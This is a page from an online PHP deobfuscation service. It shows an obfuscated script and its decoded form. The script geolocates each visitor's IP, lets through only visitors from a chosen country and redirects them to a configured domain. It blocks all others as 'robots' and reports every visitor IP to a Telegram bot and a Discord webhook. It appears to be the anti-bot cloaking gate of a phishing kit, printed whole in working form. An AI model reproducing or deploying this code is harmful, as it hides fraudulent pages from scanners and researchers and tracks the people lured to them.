Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto JPYln; mBBeo: function sendDiscordWebhook($message) { global $discord_webhook..
Decoded Output download
<?php
goto JPYln; mBBeo: function sendDiscordWebhook($message) { global $discord_webhook_url; $data = array("content" => $message); $options = array("http" => array("method" => "POST", "header" => "Content-type: application/json", "content" => json_encode($data))); $context = stream_context_create($options); $result = file_get_contents($discord_webhook_url, false, $context); return $result; } goto Lx0B0; JH2pF: include "settings.php"; goto XXD98; y50eM: ini_set("display_startup_errors", 1); goto Vycpl; JPYln: ini_set("display_errors", 1); goto y50eM; Lx0B0: CheckBrowser(); goto jD3kK; Vycpl: error_reporting(E_ALL); goto JH2pF; XXD98: function CheckBrowser() { global $settings, $telegram_bot_token, $chat_id, $discord_webhook_url; $ip = $_SERVER["REMOTE_ADDR"]; function navTazar() { $ip = $_SERVER["REMOTE_ADDR"]; $ipinfo = file_get_contents("http://ip-api.com/json/{$ip}"); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } $ipinfo_json = navTazar(); if ($ipinfo_json["status"] != "fail") { $isp = $ipinfo_json["isp"]; $lang = $ipinfo_json["countryCode"]; } else { $isp = "Introuvable"; $lang = "Introuvable"; } $blocked_ips_file = "blocked_ips.txt"; if (!file_exists($blocked_ips_file)) { file_put_contents($blocked_ips_file, ''); } $accepted_ips_file = "accepted_ips.txt"; if (!file_exists($accepted_ips_file)) { file_put_contents($accepted_ips_file, ''); } $blocked_ips = file("blocked_ips.txt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (in_array($ip, $blocked_ips)) { if ($settings["notif_telegram"]) { sendTelegramWebhook("Blocked IP from list: " . $ip); } if ($settings["notif_discord"]) { sendDiscordWebhook("Blocked IP from list: " . $ip); } die("You are blocked. Robots are not allowed."); } $accepted_ips = file("accepted_ips.txt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if ($lang == $settings["pays"]) { if ($settings["notif_telegram"]) { sendTelegramWebhook("Accepted IP: " . $ip); } if ($settings["notif_discord"]) { sendDiscordWebhook("Accepted IP: " . $ip); } if (!in_array($ip, $accepted_ips)) { file_put_contents("accepted_ips.txt", $ip . "\xa", FILE_APPEND | LOCK_EX); } header("Location: " . $settings["ndd"]); die; } else { if (!in_array($ip, $blocked_ips)) { file_put_contents("blocked_ips.txt", $ip . "\xa", FILE_APPEND | LOCK_EX); } if ($settings["notif_telegram"]) { sendTelegramWebhook("Blocked IP: " . $ip); } if ($settings["notif_discord"]) { sendDiscordWebhook("Blocked IP: " . $ip); } die("Robots are not allowed please check your PROXY/VPN settings."); } } goto qPoCg; qPoCg: function sendTelegramWebhook($message) { global $telegram_bot_token, $chat_id; $url = "https://api.telegram.org/bot" . $telegram_bot_token . "/sendMessage"; $data = array("chat_id" => $chat_id, "text" => $message); $options = array("http" => array("method" => "POST", "header" => "Content-type: application/x-www-form-urlencoded", "content" => http_build_query($data))); $context = stream_context_create($options); $result = @file_get_contents($url, false, $context); if ($result === false) { $error = error_get_last(); echo "Telegram API Error: " . $error["message"]; } return $result; } goto mBBeo; jD3kK: ?>
Did this file decode correctly?
Original Code
<?php
goto JPYln; mBBeo: function sendDiscordWebhook($message) { global $discord_webhook_url; $data = array("\x63\157\156\x74\145\x6e\x74" => $message); $options = array("\x68\x74\164\160" => array("\155\x65\x74\150\x6f\144" => "\x50\x4f\x53\x54", "\150\x65\x61\x64\145\162" => "\x43\x6f\x6e\x74\145\156\164\x2d\x74\171\x70\x65\72\40\x61\x70\160\154\151\x63\x61\164\151\157\x6e\x2f\x6a\163\157\156", "\x63\157\156\x74\x65\156\164" => json_encode($data))); $context = stream_context_create($options); $result = file_get_contents($discord_webhook_url, false, $context); return $result; } goto Lx0B0; JH2pF: include "\163\145\164\x74\x69\x6e\x67\163\x2e\x70\150\160"; goto XXD98; y50eM: ini_set("\x64\151\163\x70\154\x61\x79\x5f\x73\164\141\x72\x74\x75\x70\x5f\145\x72\162\x6f\x72\x73", 1); goto Vycpl; JPYln: ini_set("\144\x69\163\160\x6c\x61\x79\137\145\x72\162\157\162\x73", 1); goto y50eM; Lx0B0: CheckBrowser(); goto jD3kK; Vycpl: error_reporting(E_ALL); goto JH2pF; XXD98: function CheckBrowser() { global $settings, $telegram_bot_token, $chat_id, $discord_webhook_url; $ip = $_SERVER["\122\105\x4d\x4f\124\x45\x5f\x41\x44\x44\x52"]; function navTazar() { $ip = $_SERVER["\x52\105\115\x4f\124\x45\137\101\104\x44\x52"]; $ipinfo = file_get_contents("\150\164\x74\x70\x3a\57\x2f\151\x70\x2d\141\160\x69\x2e\143\157\x6d\x2f\152\163\157\156\x2f{$ip}"); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } $ipinfo_json = navTazar(); if ($ipinfo_json["\x73\164\x61\164\165\x73"] != "\146\141\151\154") { $isp = $ipinfo_json["\x69\163\160"]; $lang = $ipinfo_json["\x63\x6f\165\156\164\162\x79\x43\x6f\144\x65"]; } else { $isp = "\x49\x6e\x74\x72\157\165\166\141\x62\154\x65"; $lang = "\x49\156\x74\162\x6f\165\x76\x61\x62\x6c\x65"; } $blocked_ips_file = "\142\154\157\143\153\145\144\x5f\151\x70\163\x2e\164\170\164"; if (!file_exists($blocked_ips_file)) { file_put_contents($blocked_ips_file, ''); } $accepted_ips_file = "\x61\143\143\145\x70\164\x65\x64\137\x69\160\x73\x2e\164\x78\164"; if (!file_exists($accepted_ips_file)) { file_put_contents($accepted_ips_file, ''); } $blocked_ips = file("\142\154\x6f\x63\153\x65\x64\137\151\160\x73\56\164\x78\164", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (in_array($ip, $blocked_ips)) { if ($settings["\x6e\x6f\164\x69\x66\137\164\145\154\x65\147\x72\x61\x6d"]) { sendTelegramWebhook("\102\x6c\157\143\x6b\145\x64\40\111\x50\40\x66\x72\x6f\155\x20\154\151\163\x74\x3a\x20" . $ip); } if ($settings["\x6e\157\164\151\x66\x5f\144\151\x73\143\x6f\162\144"]) { sendDiscordWebhook("\x42\154\x6f\x63\153\x65\144\x20\111\120\x20\146\162\157\x6d\40\154\x69\x73\164\x3a\x20" . $ip); } die("\x59\x6f\165\x20\141\x72\145\40\x62\154\157\143\153\x65\x64\x2e\x20\x52\157\142\157\164\x73\x20\141\x72\x65\x20\156\x6f\164\40\141\154\x6c\157\x77\x65\144\x2e"); } $accepted_ips = file("\x61\x63\143\145\160\164\145\144\137\x69\x70\163\x2e\x74\x78\x74", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if ($lang == $settings["\160\x61\x79\x73"]) { if ($settings["\156\x6f\x74\151\146\x5f\x74\145\x6c\145\x67\162\141\155"]) { sendTelegramWebhook("\101\x63\x63\x65\x70\164\x65\144\x20\111\120\x3a\40" . $ip); } if ($settings["\156\157\164\x69\146\x5f\144\x69\163\x63\x6f\x72\x64"]) { sendDiscordWebhook("\101\143\143\x65\x70\x74\145\144\40\x49\120\72\x20" . $ip); } if (!in_array($ip, $accepted_ips)) { file_put_contents("\141\x63\x63\x65\160\x74\x65\x64\x5f\151\160\163\x2e\164\x78\x74", $ip . "\xa", FILE_APPEND | LOCK_EX); } header("\114\157\x63\141\x74\151\157\x6e\x3a\x20" . $settings["\x6e\x64\x64"]); die; } else { if (!in_array($ip, $blocked_ips)) { file_put_contents("\x62\x6c\x6f\x63\x6b\145\144\x5f\x69\x70\163\x2e\164\170\164", $ip . "\xa", FILE_APPEND | LOCK_EX); } if ($settings["\x6e\x6f\164\x69\x66\137\x74\145\154\x65\x67\x72\141\x6d"]) { sendTelegramWebhook("\102\154\x6f\143\x6b\x65\144\x20\x49\120\72\40" . $ip); } if ($settings["\156\157\x74\x69\146\x5f\x64\x69\163\143\157\x72\144"]) { sendDiscordWebhook("\102\x6c\157\x63\153\145\x64\x20\111\120\x3a\x20" . $ip); } die("\x52\157\x62\x6f\164\163\40\141\x72\x65\40\x6e\157\164\40\x61\x6c\154\x6f\167\x65\x64\x20\x70\x6c\145\x61\163\x65\40\143\x68\145\x63\x6b\x20\171\x6f\165\162\40\x50\x52\117\130\x59\57\126\x50\116\x20\x73\x65\x74\x74\151\x6e\x67\x73\x2e"); } } goto qPoCg; qPoCg: function sendTelegramWebhook($message) { global $telegram_bot_token, $chat_id; $url = "\x68\x74\164\160\x73\72\57\57\141\x70\x69\x2e\164\x65\x6c\145\147\162\x61\x6d\x2e\157\x72\147\x2f\142\x6f\164" . $telegram_bot_token . "\57\163\145\156\144\115\x65\x73\163\141\147\145"; $data = array("\x63\x68\x61\x74\137\151\x64" => $chat_id, "\x74\x65\x78\164" => $message); $options = array("\x68\x74\164\x70" => array("\x6d\x65\164\150\157\144" => "\x50\x4f\x53\x54", "\x68\x65\141\144\x65\x72" => "\103\157\156\x74\x65\156\164\x2d\164\x79\160\145\x3a\x20\141\160\x70\x6c\151\x63\141\164\x69\x6f\x6e\x2f\x78\x2d\167\x77\167\x2d\146\x6f\162\x6d\x2d\165\162\154\x65\x6e\x63\x6f\x64\x65\144", "\x63\x6f\156\x74\x65\156\164" => http_build_query($data))); $context = stream_context_create($options); $result = @file_get_contents($url, false, $context); if ($result === false) { $error = error_get_last(); echo "\x54\x65\x6c\145\147\x72\x61\155\40\x41\120\x49\40\105\x72\162\157\162\x3a\x20" . $error["\155\x65\x73\x73\141\x67\x65"]; } return $result; } goto mBBeo; jD3kK: ?>
Function Calls
None |
Stats
MD5 | 34c87bfb939ed514a738df9d3ddf8ee1 |
Eval Count | 0 |
Decode Time | 45 ms |